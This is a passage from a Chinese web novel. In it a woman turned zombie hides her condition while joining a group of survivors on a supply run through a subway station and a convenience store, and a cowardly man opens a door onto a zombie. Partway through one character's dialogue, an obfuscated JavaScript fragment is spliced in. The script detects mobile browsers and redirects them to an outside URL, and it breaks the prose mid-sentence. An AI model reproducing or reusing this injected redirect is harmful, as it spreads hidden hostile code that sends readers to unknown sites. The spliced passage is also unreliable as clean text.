如果不是隔着门，杜彬都怀疑鲜血进了他的眼睛，后面一段时间看东西都带上了雾蒙蒙的红色滤镜。 这件事把他吓得已经一个星期没有靠近大门了。 回想起走廊上之前回荡的声音，再算上被咬的邻居，楼道里应该有三只丧尸才对。 杜彬这样想着，鼓起勇气缓缓把眼睛贴向猫眼。 鲜血早就干涸发黑，一块一块扒在猫眼上，只留下一小块区域可以视物。歪曲变形的视野下，门外空无一人，也没有看到丧尸的踪迹。 这么想来，那拖沓潮湿的脚步声也很久没有响起。 真的没有了？ 【蒸蛋公主：好像有人把丧尸都干掉了。】 【七七：我晚上听到了一点响动，有人在清理丧尸。】 都干掉了？ 怎么可能，是谁干的？ 杜彬不大相信，但是门外的寂静也在说明这一点。 这真是难得的机会了。 说明他命不该绝！ 这一发现给了他出门的勇气。 杜彬咬咬牙，把平时上班用的双肩包清空后背起，拿起了厨房里的水果刀，握在手心。 把仅有的装备再三检查后，他小心翼翼地打开了房门。 “嘎吱——” 大门小心翼翼地推开，露出一个门缝。杜彬小心翼翼的将眼睛凑上去瞄了一眼。 扩大的视线范围内依旧空无一人，只有地上浑浊的暗红发黑的痕迹显示着，这里曾经有人被咬开喉咙。 人都去哪了？ 丧尸去哪了？ 看起来确实是安全的。 杜彬松口气，房门彻底打开，时隔近十天，第一次走出了小出租屋。 刚出门站定，他才意识到不对。 对门的老太太被咬的时候，是仰面被丧尸扑击啃咬倒下，倒回了她自己的屋子。 但是现在，对门的房门紧闭。 丧尸会关门？ 还是……有谁关上了房门？ “咔……” 在这时，隔壁房门也被打开了。 他浑身的汗毛顺着这一声刺耳的声响根根竖立，杜彬冷汗涔涔，颤抖握紧兜里的小刀，悚然看去。 门里缓缓走出了一个人。 走路时听起来有点奇怪，但是杜彬说不出哪里奇怪。 一种诡异的感觉出现。 杜彬警惕着看着面前的人，手中的小刀随时都能攻击。 这个人身高挺高，看起来跟他差不多有173，身材消瘦看不清性别……半长的头发扎了起来，应该是女性吧？ 穿着长袖长裤，面上戴着口罩和墨镜，脖子、手掌等一切露肤的地方都被绷带缠绕整齐，看过去像个恐怖的绷带杀人犯。 这……这…… 杜彬吓得嘴唇都在发抖。 恐惧在他发现对方看过来的时候，达到了巅峰。 对方缓缓抬起了手。 一切都如同慢动作一般。 不……是不是要攻击他了……他是不是要死了！ 杜彬浑身僵硬如同石块，动弹不得，明明理智告诉他要么攻击要么跑，但这手脚却不听使唤。 就在他绝望的时候，他看到那抬起的手对他……挥了挥？ 挥了挥？ 挥手？ 这是在打招呼？ 身上的僵硬逐步缓解，看样子是人，应该是一起行动的队友。 这一发现让杜彬彻底松了口气。 太好了，是人就行。 不过怎么打扮成这样，也太吓人了吧？ 不……穿着其实还好，主要是气质太恐怖了。 杜彬脑子缓慢运转，向对方也打了个招呼。 刚刚对方挥手的画面还一直闪回。 顺着抬手的动作，袖管滑落下来，露出了绑着绷带的手臂…… 不知是否是杜彬的错觉，他总觉得这个人的胳膊好像……有点坑坑洼洼的？ 是他的看错了吧？ 14. 集合出发 「宿主，我都说了，买个声带修复套餐才2998丧币，就可以交流了呀」 「您看看，这都差点把人给吓坏了，小腿都抖成啥样了……」 「识别到他兜里握着把小刀，差点就刺您了耶。」 牧瑶：“没必要。” 丧丧委屈：「可是人家害怕。」 牧遥：“……” 她顿了顿，撇开话题道：“2998丧币能把我的积蓄全部掏空，如果我没猜错，这个声带修复套餐也是有时限的吧？” 丧丧委屈地吹起了口哨：「啊哈哈，您真的料事如神。」 牧遥：“……” 她就知道。 不过牧遥确实觉得没啥必要。 和人交流好累，还是不说话比较好。 这几天和何子来也没说话，都是网上打字，这不是也相处的挺愉快的吗？ 丧丧：「……」 有没有一种可能，那是人家知道您是丧尸？ 丧丧欲言又止，把话吞了回去。 牧遥在心里琢磨这次的订单。 这次的订单过于奇特，不但不知道下单的人是谁，甚至连目标都要她自己去判断。 结合这几日出现的庇护所，丧丧这个丧尸咬人系统想要她做的事情更耐人寻味了。 除此之外更让人在意的，是订单奖励。 「订单奖励：光子嫩肤*1」 光子嫩肤。 当时牧遥盯着这四个字，她觉得无奈的情绪要和她长相厮守。 她无奈笑了。 牧遥：“现在这个绿油油的胳膊，还能光子嫩肤？” 她从商场买了物资回来后，就把透明胶带从手臂上取了下来，结果用力一撕拉。 好消息，绿毛下来了。 坏消息，肉也下来了。 以前整洁光滑的皮肤一去不复返，残留的肉坑坑洼洼。 不难想象，这将是霉菌们最喜欢的完美培养皿。 最震撼的是，哪怕绿毛拔掉了，剩下残留的皮肤也不是灰白色，而是向绿色转换，在光线下透露着微妙的绿色。 丧丧：「可以哒！就是……」 牧遥用变得长长的黑色指甲抠了抠手臂的皮肤，发出了用指甲刮黑板的刺耳恐怖声音。 丧丧的声音卡顿一下，继续说：「就是要多个疗程，咱们一个月做一次，做个一年就能把皮肤变回白白嫩嫩啦~」 牧遥：“价格呢？” 丧丧嘿嘿笑了两声，有点底气不足：「单次需要398丧币，12个疗程我们有劲爆特惠价，只要4444丧币！」 「多么吉利的数字啊——」 牧遥：“……” 她瞥了一眼视线范围内的实时丧币余额显示，上面剩余2000多丧币。 由于订单里限制了牧遥不能暴露身份，所以她咬牙花448丧币大价钱买了洗牙洁净套餐。 虽然自己应该是不臭了，但她还是有点不放心。 除此之外还买了一个998丧币的触觉修复套餐（初级）。 在丧尸化第七日后，牧遥发现她触觉衰退的厉害，既无法控制自己的力道，抓握也很难感受到物体的存在。 迫不得已，她只能买了个触觉修复套餐（初级），可以恢复基础的抓握能力和力道掌控。 剩下的丧币还不够买一个疗程的光子嫩肤。 牧遥感到自己非常贫穷，决定攒下积蓄，不乱花钱。等这次订单结束，她要出去挣点钱了。 哪怕变成了丧尸，也希望自己的钱包满满。 这是人之常情，不，尸之常情。 所以现在任务送的，就是新客霸王餐体验？ 牧遥叹气，她还能咋样。 人类一看到她就知道非我族类，该杀之。 为了避免一出门就被己方围殴的悲惨遭遇，牧遥只能把自己全身上下都包裹起来，不露出一点皮肤。 黑色的指甲还能说是自己的美甲，绿皮肤不能说自己的绿版阿凡达，也不能说自己是怪物史莱克。 牧遥一边往身上缠胶带一边问：“那这个任务是什么意思？” 丧丧：「咩？」 “什么叫咬掉不危险分子？这个危险分子该怎么界定？” 丧丧：「就是坏蛋！咬坏蛋就好啦。」 牧遥：“……” 别卖萌，说正事。 “没有，量化的标准吗？”牧遥艰难地询问。 这和询问领导要怎么完成任务，领导说往好了做有什么区别？ 丧丧：「噫……量化……」 似乎这个问题给丧丧带来了比较大的冲击，它宕机了。 为什么系统无法理解量化？ 牧遥觉得有点奇怪。 牧遥：“或者我换个问题，如果我咬的人不是你们认定的危险分子，会怎么样？” 这个问题丧丧能回答：「扣丧币哇，错咬一个扣300丧币，您身上还会有地方随机腐坏。」 “随机腐坏？” 「毕竟人被错咬成了丧尸，您总要付出点代价。」 牧遥点头，认可了这个观点。 确实，如果被咬成了丧尸人就死了，她只是扣钱加上肢体腐坏说实话不算什么。 但是标准没办法量化…… 牧遥简单活动了下僵硬的躯体，打开房门。 既然这样，那就靠实践来试验出标准。 毕竟实践是检验真理的唯一标准。 · · 杜彬张嘴，许久才找回自己的声音，久违的说话和恐惧让他的声音有些暗哑和颤抖：“你也是去搜刮物资的？” 顿了顿补充了一下：“群里的人？” 他怕惊扰到外面的丧尸，特意压低声音，几乎不可闻。 但在听力被加强的牧遥耳朵里，十分清晰。 牧遥点头回应杜彬的话。 他立刻松了口气：“那……一起走？” 牧遥继续点头，她率先转身往安全通道走去。 她租住的楼层在4楼，因为不吉利的数字导致这层的房租会便宜个两百块钱，走到楼下不会消耗多少体力。 更别提这几天她楼上楼下走了个遍。 僵硬如腐朽老头一般的肢体现在已经习惯上下楼梯，不会再发出可怖的嘎达嘎达脆响。 只是行动中难免会有一丝僵硬。 杜彬握着小刀，手抖如筛糠。 路过每一个楼层都会警惕地举起手里的小刀比划两下。有什么风吹草动就会弹射起步。 牧遥：“……” 这位先生，她走在前面都没那么大反应。 走在后面为什么戏这么多？ 到达楼下大堂的时候，距离集合时间还有15分钟，此时大堂里已经有三个人到了。 何子来戴着口罩，手握着棒球棍。看到牧遥眼睛一亮，开心地挥了挥手，小跑到她身边。 牧遥立刻掏出手机发消息。 【遥：我臭吗？】 何子来：“……” 她迅速敲打手机。 【凶猛大白兔：姐姐不臭！一点闻不出来是丧尸~】 生怕牧遥不相信，她还摘了口罩深呼吸一大口。 【凶猛大白兔：一点都不臭！】 牧遥：“……” 很好，放心了。 另外两个女生，看起来似乎是朋友。 一个身高大约175，瘦瘦高高的看过去有锻炼痕迹，穿着皮衣和运动长裤。另一个身材娇小，估计只有155，同样的运动装备。 两人脸上也都戴着口罩，把自己捂得严严实实的。 闷热的天气让这两位女生额头都出了一层汗，但仍旧没有脱掉身上的衣物。 看到牧遥的打扮，她们眼睛一亮，相互对视一眼，高个子的女生开口： “姐妹，你这个方法好啊，还没那么热。” 都是为了防止丧尸啃咬，牧遥的装扮看起来比她们凉快多了。 或许还能延伸一下，下次用绷带或者透明胶缠一下自己的胳膊？ 牧遥摆了摆手，拿出手机输入，外放： “防护效果一般，你们的好。” 身边的几人都是一愣，娇小的女孩子开口：“啊你……” 何子来脑子拼命旋转着，要不要想个理由帮帮牧遥说话，但又怕理由想的不好。 之前牧遥特意跟她说，这次不会暴露丧尸的身份。 还好没过多久，僵硬的机械声响起：“嗓子刚动过手术，没办法开口说话。” 闻言几人都松了口气，是正常人就好。 两个女孩子又交换了眼色。 她们所在的小区设计独特，是一个“回”字形结构，是如今非常新潮的设计，也是因此她们只有一个大堂，所有人都在一栋楼里。 没过多久，脚步声传来，陆陆续续剩下的四个人都到齐了。 一共六女三男。 几人简单交流一下，相互交换了名字，明确了群里的人分别是谁。 高个女生是七七，矮个女生是十五，她们是大学舍友，现在大三，暑期实习在外面租了房子。 杜彬因为微信名太长了，直接报了本名。 牧遥伸手亮出自己的微信名：遥，头像是一片漆黑。 机械女声：“牧遥。” 其他人：“……” 好恐怖的音效。 杜彬悄悄又打量了一下牧遥。 漆黑的头像再加上这个名字，他还以为是男性呢。 他扫视一圈撇撇嘴，一共九个人，就三个男的，遇到事这些女的能干嘛，希望不要拖后腿。 啧，还有对情侣。 牧遥也看向那对情侣，两个人看起来有一点年纪差距，女性二十多岁的样子，身上没做什么防护，穿着运动服，戴了一双劳保手套，手上拎着一把西瓜刀。 男性看过去比女性年纪大一点，个子不高，但人收拾得干净清爽，说起话来声音很温和，手上没有带武器，似乎是把唯一的武器给女性了。 女性微信名是蒸蛋公主，男性则是煎饺王子。 好一个吃货情侣名。 蒸饺王子似乎也觉得自己的微信名有点难以启齿，他笑着道：“我姓秦，叫我小秦就好，我女朋友姓林。” “希望这次能够顺利。” 牧遥在脑中给两个人打上标签，小林，姓秦的男的。 剩下的两人一个是戴着眼镜的青年，戴着口罩看不清脸，身高超过180，手上拎了个刮地拖把，微信名是锅盖。 似乎有点社恐，吐出锅盖两个字就不说话了。 “那我们就差不多出发？”浑厚的声音传来。 这场活动的组织者说话了。 看清人的时候，连牧遥都挑了挑僵硬的眉，结果现在眉毛差点卡在眉骨上，下不来。 还好有墨镜，何子来帮她留意其他人的目光，牧遥悄悄伸手把眉毛拨下去。 所有人的注意力都在活动的组织者身上。 组织者是个看过去四十多岁的阿姨，就是群里最开始发言的休眠罐头，她说叫她方姨就好。 她大手大脚，身材高大，穿着乍一眼看过去是宽松的睡衣，实际上全身都已经包裹起来，露出的胳膊上缠了厚胶带。 她手里握着一把菜刀，说话的声音哪怕有意识压低也依旧十分有力。 杜彬看起来对组织者不大满意，他犹豫了片刻，见没人说话还是说道：“阿姨，是你领导吗？” 语气充满质疑。 他还以为领导者是那个姓秦的男子。 方姨笑了：“不然你来？” 杜彬闭嘴了。 方姨扫视一圈，打量这次的参与者，内心也有了计较：“如果觉得我不合适，有更适合领导的人，欢迎站出来。” 众人没说话，都在相互观察。 小秦张望一圈，捏了捏小林的手，先表态：“我们没意见，方姨您是组织者，您来吧。” “方 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超市外面也有一些游荡的。 她只是进去拿东西，没有进到超市深处，也没有清理丧尸。 根据她听到的声音，内部估计还有不少的丧尸。 只要不往深处走，应该还算安全。 见众人没有意见，方姨一挥手中的大菜刀，带领着大家往门口走去。 菜刀被打磨的锃亮。 “方姨你居然一个人出去看过，太厉害了吧。”十五是个热情的自来熟，她凑到方姨身边说。 方姨摇摇头：“不知道是谁把附近的丧尸都杀了，我才敢出去的。” “而且我也就是在门口张望了一下，很快就回来了。” 十五震惊：“这么牛，哪来的好心大佬哇？” 小秦：“是有警察过来清理了吧。” 小林在旁边翻了个大白眼，语气不大好：“这么多天你看过警察了吗？” 小秦也没有生气，无奈笑笑捏了捏小林的手，小林“哼”了一声。 走在最后的大佬·真丧尸·牧遥假装没听见。 何子来倒是猜到了一些，她一贯有边界感，也不会多说，和牧遥并排走在一起，悄悄发消息给牧遥。 【凶猛大白兔：姐姐，你有不方便说的话可以让我说。】 【遥：好。】 她们俩前面走的是杜彬，缩头缩脑看起来猥琐极了。 “我家里还有老人和小孩，不出来这一趟不行啊。” 方姨的话从前方传来。 大家都暗自点头。 是啊，如果不是到了山穷水尽的地步，谁愿意出来冒着生命危险和陌生人组成队伍来获取物资？ 方姨深谙此道，话语比较巧妙，让众人无形之中距离拉近了一点。 公寓大门本来是感应门，不知谁把感应关了，只能手动打开。 一楼的前台处只留下了一片斑驳的血迹和拖拽的痕迹，空气中弥漫着一股血腥混杂着腥味、霉味的气味。 到处都是污浊的痕迹。 地上有一节长长的、发黑的不明物体，看过去本来或许是软弹的质地，因为时间的流逝变得坚硬。 大家都不想深究这是什么。 十五看到后一哆嗦：“经常杀人的朋友都知道……” 七七给了她一肘子，十五老实了。 “这是之前的前台……”小秦仔细打量一下，脸色难看。 估计是凶多吉少。 “是有人把她拖走了吗？还是丧尸拖走的……” 几人顿时都有点发毛，也就方姨神色还好。 都是和平年代长大的人，平时估计鸡鸭都没杀过，连虾都是要冻晕才下锅，哪里见过这样的阵仗。 连何子来的表情都不大好，她虽然让牧遥咬了自个的奶奶和弟弟，也没有这么近距离见识这样的血腥场面。 “不能是被吃了，哕！” 小林忍不住头一侧，走出几步背对着其他人吐了，小秦在旁边慢慢拍着她的背安抚她。 牧遥瞅一眼，没吭声。 她从地铁站出来的时候，前台刚被咬，正躺在地上抽搐着成为丧尸预备役。 明明是很年轻的女孩，二十左右的年龄，平时会笑着跟大家打招呼，此时只能躺在地上感受自己生命的流逝。 她看向牧遥的时候，还有眼泪滴下。 再一眨眼，已是破败的灰白，眼泪尚未干涸。 牧遥杀了她，获得3丧币，把她拖进了休息室里的床上，出来时锁了门。 说是被丧尸拖走的也没错。 方姨有点可惜道：“我之前出来都没看到防爆的设备，没有拿到趁手的武器。” 她掂量一下手里的菜刀，笑道：“还好菜刀还算顺手。” 一般小区会配备防爆设施，里面的武器用来对抗丧尸非常好用。 听到方姨的话，众人眼睛一亮，似乎思路打开了，有几人都露出若有所思的表情。 方姨菜刀的刀尖指向员工休息室：“那扇门我试过了，上锁了打不开，就没有强开。” 她再三强调：“这趟是为了物资，安全第一，不要莽撞，随便打开门。” 众人都点头，有没有听进去就不知道了。 牧遥歪头想了想，好像在拖前台的时候确实在床边看到了类似的器具。 根据她的记忆，安保人员早也变成丧尸，一同被她拖进员工休息室了，现在房间里满满都是尸体。 如果打开，那画面不是一般的吓人。 幸好其他人目前都听方姨的话，没有想着要打开员工休息室，牧遥悄悄松口气。 不然这此的行动可能还没开始就要结束了。 方姨没多停留，已经站在了大门开关处： “准备好了吗？”她问道。 “要出去了。” 15. 开门杀 感应门打开，众人迅速挤出门。 确保门已经关上后，方姨带着大家往地铁站走去。 “这一条路昨天没有丧尸，今天人多我不能保证，大家一定要提高警惕，手中的武器准备好。”方姨低声交代着。 “注意事项群里已经发过一遍，大家一定牢记。” “官方说人多也会吸引丧尸的注意力，还是小心一点。” “安静一点，不要怒吼，不要尖叫。” 十五和七七从身后的双肩包里分别摸出一把铁状的长条物件，牧遥仔细一看，是两把雕刻刀。 看来是学雕塑的。 这个武器好，够硬，还能刺。 两个人跟在方姨身后，留意着四周的环境，虽然十五的手有点抖，但看过去还算镇静。 牧遥走在最后，反正丧尸会从她的全世界路过，正好保护所有人。 在后面也方便观察，梳理待咬的名单。 「我觉得那个杜彬不行。」丧丧的小嘴叭叭，「我看他眼睛到处转，遇事肯定不敢上的。」 「小情侣也有可能，小说里都这么说，情侣一般会吵架后拖后腿！宿主您看牢她们哦。」 「那个不说话的男生看起来也是个胆小鬼，存在感太低，说不定遇事一溜烟就跑了。」 牧遥在心里“嗯”了一声。 众人几步就走到了小区门口，左拐100米就是地铁站。 刚一拐弯所有人的脚步一顿。 方姨举起了菜刀。 地铁口有一只丧尸，看来是从别的地方游荡过来的。 他本来在漫无目的地行走，在牧遥几人一拐弯的时候，他停下了脚步。 如同恐怖片的慢放场景一般。 他缓缓转头，铁青的脸上两只眼球消失不见，只有两团烂肉挂在脸颊上，有一半被吞到了张大的嘴里，仅存的鼻子似乎在耸动。 一下又一下，努力呼吸。 牧遥：“？” 为什么在动鼻子？ 牧遥也动了动鼻子，什么都闻不到：“他能闻到气味？” 丧丧：「不行啦，可能是生前有鼻炎吧，习惯性动作啦。」 「哎呀！！过来啦宿主！！」 丧丧尖叫。 牧遥的视线越过前方抖动如筛糠的杜彬，看到那头丧尸已经同手同脚的跑过来了。 小林似乎想尖叫，刚张开嘴就被小秦紧紧捂住。 小秦安抚着她，接过了她手里的刀。小林也很快意识到，伸手捂住自己的嘴死死把声音咽回去，脸都憋红了。 远处那几个移动的小点都是丧尸，一旦尖叫吸引过来她们全部都得死。 最前面的人都开始行动。 “杀了他！”方姨急促地说了一声，“小声行动。” 面对冲来的可怖丧尸，方姨没有退后，反而上前两步一脚踹上丧尸的肚子。 她的力道极大，丧尸前扑的动作猛然截停，往后倒去。 在丧尸顺着力道倒地的时候，她已经两脚踩上他的胳膊，一手按住丧尸的脖子，另一手高高抡起再重重劈下！ 这气势看得所有人都眼皮一跳。 刺耳的声音传来，菜刀没入了半个丧尸脑袋。 方姨的动作利索，丧尸到她手里仿佛一只小鸡崽。 牧遥视线落在地上的丧尸头上，眼中目光一闪，立刻准备上前。 按照她最近的经验来说，刚刚这一击对于大脑的破坏度不够，这只丧尸还没死。 果然，他挣扎着还在张嘴，扭动间以超越人体极限的动作仰头，想要咬方姨的手臂。 “刷！” 突然，一把雕刻刀狠狠刺入了丧尸的眼眶。 七七握着雕刻刀的另一端，用力往下按压，手下的丧尸像被拔了电池的玩具，停止了所有的动作。 眼球悬挂在外的他连闭眼都做不到了。 看来要注意不能让自己的眼球掉出来。 牧遥在心里记下这一点。 方姨吐出口气，脚碾上丧尸的脸庞，用力拔出上面的菜刀。 “看来用菜刀还是不大够，丧尸的头比我想象的坚硬一点。”她目光转向正在拔雕刻刀的七七，“用眼眶刺进去更容易一点？” 七七手在发抖，脸色也不大好，闻言她不大确定：“可能？” “眼眶刺进去要注意角度，碰不到大脑丧尸也是不会死的。” 突然传来的电子女声让所有人都打了个寒颤，方姨回头看了眼牧遥，应声道：“有道理。” 十五握住七七发抖的手，给她力量。 “我们赶快进地铁站吧，别磨蹭了。”杜彬擦了擦手心的汗，压低的声音满是颤抖，“要是把那边的丧尸也吸引过来了就不好了。” 众人一肃，快步往地铁站口钻了进去。 自动扶梯早就停了，上面布满凌乱的血脚印，四处散布着明显的人体器官组织。 好几团混杂着头发的肉块发黑，看起来味道应该很不好闻。 除了牧遥之外的人都皱起眉头，嗅觉比较敏感的人已经脸色惨白，控制不住想要干呕的欲望。 小林嗅觉似乎格外敏感，她的反应是最大的。 但她也只能干呕，空空的胃里吐不出什么东西了。 小秦一直在安慰她。 和冲击性气味比起来，更恐怖的还是心理上的震撼。 原来身体组织在不恰当的地方出现时，是如此恐怖。 牧遥倒是没啥感觉，这几天看多了。 本身死的人也和她没有关系。 如果可以，她巴不得死那里解脱的人是她。 “啪叽、啪叽。” 哪怕已经很小心地规避开地上的各式组织，还是难免踩到一些残余，会发出黏腻又恶心的声响，激起一身鸡皮疙瘩。 杜彬下意识地搓了搓胳膊，指腹试图抚平上方的疙瘩。 却在下了楼梯的一个转弯，被堆叠的人体尸堆吓得差点惊叫出声。 苍白的脸、青绿的脸还有黄色的脸不分彼此依靠在一起，按照头跟头，脚跟脚的方向整齐排列。 像游戏里的柴火一样。 尸体被整齐地码在了一起。 他口中发出破碎的音节，从紧握的手掌缝隙中漏出。杜彬觉得自己的呼吸都要暂停，心脏急速跳动，身体分泌出无数的汗液，身体却像沉入冰窖之中一片冰凉。 僵硬扭头看向其他人，大家都好不到哪里去，小林已经要昏厥过去，正被小秦扶着腰支撑着。 “这是谁把人……”七七和十五两个牵着手，互相支撑着。 “太……太……” 太惊悚了。 太变态了。 大家欲言又止。 何子来抖着嘴唇扭头看向牧遥。 悄悄抬起颤抖握拳的手，缓慢弹出了一个大拇指。 何子来对她的行为表示惊叹。 不愧是她遥姐！ 牧遥：“？” 她看着大家的反应不是很理解。 这样收纳在一起不好吗？ 她还觉得到处趴着可能会吓到进来的人，特意把人都拖到一起呢。 原来这样会更吓人吗？ 众人颤颤巍巍路过这堆丧尸人堆，脚步虚浮地往商场那边移动。 牧遥回头看看，她觉得下次得放一个警告牌。 比如「此处堆放尸体」，或者「危险，尸堆！」 或者……罩个雨布？ 牧遥认真地思考起来。 她之后出去挣钱的时候也会遇到同样的问题。 「宿主，您不如回头用丧币买个尸体回收道具……」 丧丧在牧遥码尸体的时候就很想说了，憋了几天，现在正好借着众人的反应积极进言： 「您想想，这可是夏天啊，这已经臭成这样了，再放下去也怕有一些病毒瘟疫，不如一劳永逸都解决掉。」 牧遥……牧遥觉得有道理。 她现在闻不到气味，确实没想到这一点。 「尸体回收道具是永久的，称斤来回收，还能获得一些丧币呢！」 牧遥：“……行，回去我看看。” 丧丧大喜，宛如刚成单的销售。 地铁站里的丧尸因为牧遥早就清理干净，众人没有遇到危险，便顺利到达地铁站里的便利店。 小小的便利店里没有人，只有四处散落的货品和一些斑驳的血液。 所有人挤在小小的便利店里，平时本就不多的商品在如今九个人瓜分的情况下更是捉襟见肘。 十五打量了四周后用手肘戳了戳七七，小声嘀咕：“这肯定不够分。” 七七脸色凝重地点头，默数目前的物资。 一小部分的物资都覆盖上了血污，有包装的可以取掉食用，但是冷柜里的三明治数过去只有十来个。 饼干不同牌子和口味的大约二十盒，还有一些零食，剩下的都是饮品。 大家挂念的保温柜里空空如也，没有看到包子。不知道是在上班通勤的时候都被买完了，还是后来有人搜刮了一波。 小林和小秦站在烤肠机前，脸色难看。 烤肠机始终运转，上面仅存的六根烤肠发黑，明显是不能食用了。 方姨打量一圈，心里有了底，默默叹气。 看来还是要去商场里面。 哪怕一个人分到两个三明治，几盒饼干和零食，对于她家里一大家子人都撑不过一天。 她紧了紧手里的刀，沉声开口：“我们还是要进一趟商场。” 杜彬闻言撇了撇嘴，似乎很不赞同的样子，其他人都表情沉重地点头。 大家都知道这点物资不够生存多久。 方姨让其他人在便利店先清点物资，她自己去商场那里观察一下情况。 牧遥其实想说她去比较好，但方姨话落下人就跑没影了。 行动力太强了姨。 她默默叹口气，没有开口。 十五和七七抱着一堆的卫生巾，拉着小林凑到了牧遥和何子来的身边，小声嘀咕道：“这些我们和方姨一起分了吧？就是不大多，估计一个人只能分到两包。” 她们扒拉着给卫生巾分类：“还好，够每个人拿一包夜用和一包日用的，安心裤也能一人一包。” “现在省着点用也能撑一个月吧。” 牧遥默默举起手机：“谢谢，你们分吧，我不需要。” 在场的女性动作都一顿，看着牧遥的眼神复杂起来。 十五有点着急，立刻道：“姐妹，这都是消耗品，都会用完的，肯定是越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699583|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多越好呀。” “咱也不能一片垫一个星期是吧？” 她的声音充满震惊：“那要多臭啊！” 牧遥：“……” 谢谢，但是她应该是真的不需要。 牧遥深吸口气，指尖快速敲打后播放：“我做了手术，摘除了子宫。” 冰冷的女声说出了冰凉凉的话。 其他人：“……” 这又是腹腔动手术，又是嗓子动手术…… 几人的目光充满了怜悯。 她一定是受了很严重的伤，发生了很不好的事情。 算了，别问了。 十五立刻滑跪，连声道歉：“对不起啊姐妹，我不知道。那……那……你要不多拿一盒饼干？” 牧遥：“……好的。” 毕竟她不能说自己胃也被切除，真的没有进食需求。 那样正常人都知道她不对劲。 总归也是好意，牧遥道谢收下了，反正可以转交给何子来。 另一边，商场和地铁站连接的口子。 方姨脚步放轻，悄悄接近了玻璃门。 天气比起之前感觉更加炎热，再加上紧张的情绪，她伸手擦掉额头的汗，蹭在衣服上，轻轻趴在玻璃门上，往里看去。 没过多久，退回了小小的便利店里。 “有三头丧尸在走道上徘徊，看起来是店员。” 她神色严峻，但是目光坚定：“如果我们配合好，应该可以解决。” 十五面色一喜：“才三头吗？” “估计不止，可能藏在店铺里。”方姨摇头，“从这里走到超市还有100米左右，两侧有很多家店，算上店员也是不小的数量。” 她看向众人，似乎在评估几人的行动力：“我觉得可以分次进行，比如先解决掉走道上的丧尸，然后我们按照店铺顺序先搜刮过去。” 小林也觉得可以：“我记得一出地铁口有快餐店和奶茶店，里面应该有物资。” 七七补充道：“还有一家生活用品集合店，里面有生活用品还有一些零食。” 十五眼睛一亮：“那就有很多的卫生巾了！” 杜彬和小秦都皱了皱眉。 小秦看起来不是很支持：“有三头丧尸，太危险了。” 他话音一转，看向小林，和她十指相扣，语气温柔又关切：“我害怕你受伤。” 安抚完伴侣后，小秦重新看向方姨，语气带着点质疑：“您不是在群里说没什么丧尸了吗？” 杜彬精神一振，立刻附和说道：“是啊是啊。” “我说的是楼道里没有什么丧尸。”方姨看向这两位男士，“你们出来前没有想明白吗？” “难道认为可以不冒风险，不付出代价就拿到很多的物资回去吗？” 方姨扯着嘴角笑了： “小伙子，这个世界上没有不劳而获。” 她说完，没管小秦和杜彬难看的脸色，目光转向牧遥、何子来和锅盖：“你们的意见呢？” 锅盖摇头，表示没有意见。 何子来：“我可以。” 牧遥依旧摸出手机：“可以。” 方姨点头：“那我们先把这堆物资分好，然后暂时放在这里，回来的时候拿。” 众人没有意见，开始把刚才清理好的物资都汇聚到一起，用塑料袋装好，根据各人的需求进行一定的调整。 到目前为止都是和平的。 所以没有人注意到，悄悄后退的杜彬。 “我也不需要卫生巾。”方姨把十五递过来的卫生巾推了回去，“你们小姑娘用吧，我可以多拿一条巧克力吗？” 十五一挥手：“两条！我的也给你。” 她还递出一盒奥利奥给牧遥：“姐妹，你的奥利奥。” 牧遥伸手接过，动作一顿缓缓扭头，看向便利店的角落。 “怎么了吗？” 其他人也注意到牧遥的视线，都往那个方向看去。 杜彬正往员工休息室靠去。 他以为没有人注意到他，行动鬼鬼祟祟，是背对着墙壁一点点挪过去的。 这声音逃不过牧遥的耳朵。 方姨下意识就要喊出声，却在张口的瞬间硬生生抑制住自己的声音。 不能出声，万一引来更多的丧尸怎么办？ 她只能拉过身边的十五和七七，让她们后退，七七顺手拉着何子来，一起往后拽。 小林和小秦也注意到了杜彬的行为，两人连忙后退。 杜彬的手已经握上了员工休息室的门把。 “咔嚓。” 门把扭动的声音掩盖住了屋里传出的声音。 牧遥微微歪头，她能清楚地听到屋里的动静。 里面有东西。 “啪。” 大门打开。 里面首先露出的并不是满满当当的物资，而是一张咧开到耳根的巨嘴。 “什……” 被恶臭的口水溅到脸上的时候，杜彬终于后知后觉为什么大家都在后退。 刚刚路过尸堆的时候，并没有尸体穿着着便利店制服。 在很多恐怖电影里面都有一个提示：小心开门杀。 看样子他要死了。 丧尸的獠牙已经近在咫尺。 16. 丧尸打地鼠 「宿主！宿主！别后退了！」 「宿主，您愣着做什么——」 「人头要被抢了啊啊啊！！」 在杜彬还没有打开门的时候，丧丧就在牧遥的脑子里哇哇乱叫。 它变化出了无数个喇叭，在牧遥的脑子里百家争鸣。 杜彬的发言以及所作所为都表现出，他绝对是不利于人类发展的危险分子。 虽然他好像是个正常人，只是有点胆小和懦弱。但是他的所作所为都极为自私。他看不起女性，却又没勇气当领导，只想躲在后面坐收渔翁之利。 世界上没有这么好的事情。 他总以为自己比其他人聪明且超脱，实际上只是在自我感动。 甚至在丧尸就要咬上他的时候，他的脑子都没有悔过之意。 他不觉得自己做错了。 也没有想过，在现在的情况下打开密闭的房间是一件多危险的事情。 如果里面藏的丧尸数是她们没有办法对抗的呢？ 如果害得所有人都死亡呢？ 丧尸的獠牙近在咫尺，口里吐出的腥臭气息带着丝丝寒气。 杜彬在极度的恐惧中，身体无法移动分毫。 就在这时，一道金光闪过。 一把金色的东西突然出现在他的视野里。 那把金色的东西似乎是个锤子，越过了他直接插入了那张血盆大口，把飞扑而来的丧尸径直杵到了地上。 丧尸的腰部重重撞击直地面，刹那间血肉横飞。 腥臭的液□□体飞溅到杜彬满脸，甚至有些进了他的嘴。 杜彬：“……啊……呕！” 他像是溺水的人终于接触了空气，跪在地上汗如雨下，大口喘息着。 他活下来了！他活下来了！ 巨大的喜悦冲刷了内心的恐惧。 很快，肾上腺素衰退，舌头一弹，品味到了嘴里那股令人难以忍受的味道。 